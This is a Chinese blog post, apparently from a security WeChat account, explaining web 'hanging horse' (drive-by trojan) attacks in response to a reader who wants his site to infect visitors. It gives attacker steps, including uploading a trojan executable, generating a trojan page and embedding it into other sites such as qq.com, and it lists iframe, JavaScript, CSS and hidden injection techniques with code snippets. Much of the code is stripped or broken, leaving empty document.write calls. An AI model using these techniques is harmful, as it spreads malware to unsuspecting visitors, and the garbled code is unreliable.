前言
最近整理了一些奇安信&华为&深信服大佬的课件资料+大厂面试课题,想要的可以私信自取,无偿赠送给粉丝朋友~
网页挂马的原理和实现方式
今天,有一位网友问了我一个问题,他自己已经有了网站了,现在他想做成“挂马”这种网站,只要打开它,电脑就有可能感染木马病毒。
木马是需要触发才有效果的,触发条件:要么欺骗用户主动,要么利用漏洞。可能他对木马、挂马、网马这些不是很理解,因此我特意发了此篇文章。
一、挂马、网马介绍
1、挂马
从“挂马”这个词中就知道,它和“木马”脱离不了关系,的确,挂马的目的就是将木马传播出去。
黑客入侵了一些网站之后,将自己编定的网页木马嵌入到其网站的页面(通常是在网站主页)中,利用该网站的流量将自己的网页木马传播出去从而达到自己的目的。
2、网马
网马,即“网页木马”,就是将木马和网页结合在一起,当打开网页的时候就会自动下载并运行其木马程序。
二、网页木马运行原理
最初的网页木马就是利用了IE浏览器的ActiveX控件,在运行网页木马的时候会弹出一个控件下载提示,只有经过用户确认后才会运行其中的木马。
目前新型的木马通常利用IE浏览器存在的漏洞来传播网页木马。
当然,现在浏览器不仅仅是指IE,还有很多其它的浏览器,例如:谷歌、百度、360、搜狗、QQ、火狐浏览器......等等。
三、网页挂马步骤
1、申请网站空间:将木马程序和网马全部上传到该网站空间,使其可以被访问,假如申请成功后的网站空间地址为“http://www.xxx.com/xxx”;
2、上传木马程序:上传完成后木马的访问地址为“
http://www.xxx.com/horse.exe”;
3、使用网页木马生成器生成网马:假如生成后网马地址为“
http://www.xxx.com/horse.htm”;
4、进行挂马:将生成后的网马地址嵌入到其他正常的网站页面,假如嵌入到腾讯的主页“
http://www.qq.com/index.htm”;
四、网页挂马的实现方式
1、框架挂马
2、JS文件挂马
首先将以下代码:
document.write("");
保存为xxx.js。
则JS挂马代码为:
3、JS变形加密
muma.txt可改成任意后缀;
4、body挂马
5、隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n';
6、css挂马
body {
background-image: url('javascript:document.write("")')}
7、JAJA挂马
8、图片伪装
9、伪装调用
10、高级欺骗
页面要显示的内容
11、判断系统代码
404
12、判断是否有ms06014代码
13、智能读取js的代码demo
//读娶src的对象
var v = document.getElementById("advjs");
//读娶src的参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("");
document.writeln("");
document.writeln("");
document.writeln("");
document.writeln("<\/HEAD>");
document.writeln(" ");
document.writeln("");
document.writeln("<\/DIV><\/DIV><\/BODY><\/HTML>")
//分析src的参数函数
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length>1){
var loallPm = loU[1].split("&");
for (var i=0; i1){
return loPm[1];
}else{
return "";
}
}
}
}
return null; 文章来源公众号:程哥讲安全
- 上一篇: 怎样使用requests模块抓取网页?
- 下一篇: html网页制作模板 知否知否电视剧网页设计源代码
猜你喜欢
- 2025-02-07 万物有趣|BMJ:爱做家务才能活得更久!多国六年大型研究发现
- 2025-02-07 数据可视化:基于 Echarts + Python 实现的动态实时大屏范例二
- 2025-02-07 “请解释一下Twitter的前10行源代码”
- 2025-02-07 XSS攻击绕过过滤方法大全(约100种)
- 2025-02-07 有高血压多吃水果!研究发现:这2种水果可降低死亡风险
- 2025-02-07 简单几行代码,让你在微信上吵架时立于不败之地
- 2025-02-07 title标签和meta标签怎样设置?有什么含义?
- 2025-02-07 Yoast SEO插件恢复设置使用Meta Keywords的方法
- 2025-02-07 值得收藏!基于 Rust 的10个优秀热门前端框架!
- 2025-02-07 刷完1427页专利文件,我们发现了Meta的元宇宙秘密